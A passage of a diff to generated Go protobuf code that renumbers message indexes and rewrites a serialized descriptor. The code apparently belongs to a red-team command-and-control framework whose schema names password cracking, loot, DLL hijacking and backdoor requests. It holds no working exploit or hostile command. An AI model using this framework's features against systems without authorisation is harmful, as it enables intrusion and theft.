(*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *CUDABackendInfo) GetType() string { @@ -8061,7 +8016,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8074,7 +8029,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8087,7 +8042,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *OpenCLBackendInfo) GetType() string { @@ -8187,7 +8142,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8200,7 +8155,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8213,7 +8168,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *MetalBackendInfo) GetType() string { @@ -8411,7 +8366,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8424,7 +8379,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8437,7 +8392,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -9168,7 +9123,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9181,7 +9136,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9194,7 +9149,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *CrackConfig) GetAutoFire() bool { @@ -9238,7 +9193,7 @@ type CrackFiles struct { func (x *CrackFiles) Reset() { *x = CrackFiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9251,7 +9206,7 @@ func (x *CrackFiles) String() string { func (*CrackFiles) ProtoMessage() {} func (x *CrackFiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[100] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9264,7 +9219,7 @@ func (x *CrackFiles) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFiles.ProtoReflect.Descriptor instead. func (*CrackFiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{100} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *CrackFiles) GetFiles() []*CrackFile { @@ -9309,7 +9264,7 @@ type CrackFile struct { func (x *CrackFile) Reset() { *x = CrackFile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9322,7 +9277,7 @@ func (x *CrackFile) String() string { func (*CrackFile) ProtoMessage() {} func (x *CrackFile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[101] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9335,7 +9290,7 @@ func (x *CrackFile) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFile.ProtoReflect.Descriptor instead. func (*CrackFile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{101} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *CrackFile) GetID() string { @@ -9429,7 +9384,7 @@ type CrackFileChunk struct { func (x *CrackFileChunk) Reset() { *x = CrackFileChunk{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9442,7 +9397,7 @@ func (x *CrackFileChunk) String() string { func (*CrackFileChunk) ProtoMessage() {} func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[102] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9455,7 +9410,7 @@ func (x *CrackFileChunk) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackFileChunk.ProtoReflect.Descriptor instead. func (*CrackFileChunk) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{102} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *CrackFileChunk) GetID() string { @@ -10126,349 +10081,305 @@ var file_clientpb_client_proto_rawDesc = []byte{ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, - 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x52, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, - 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, - 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, - 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, - 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, - 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, - 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, - 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, - 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, - 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, - 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, - 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, - 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, - 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, - 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, - 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, - 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, - 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, - 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, - 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, - 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 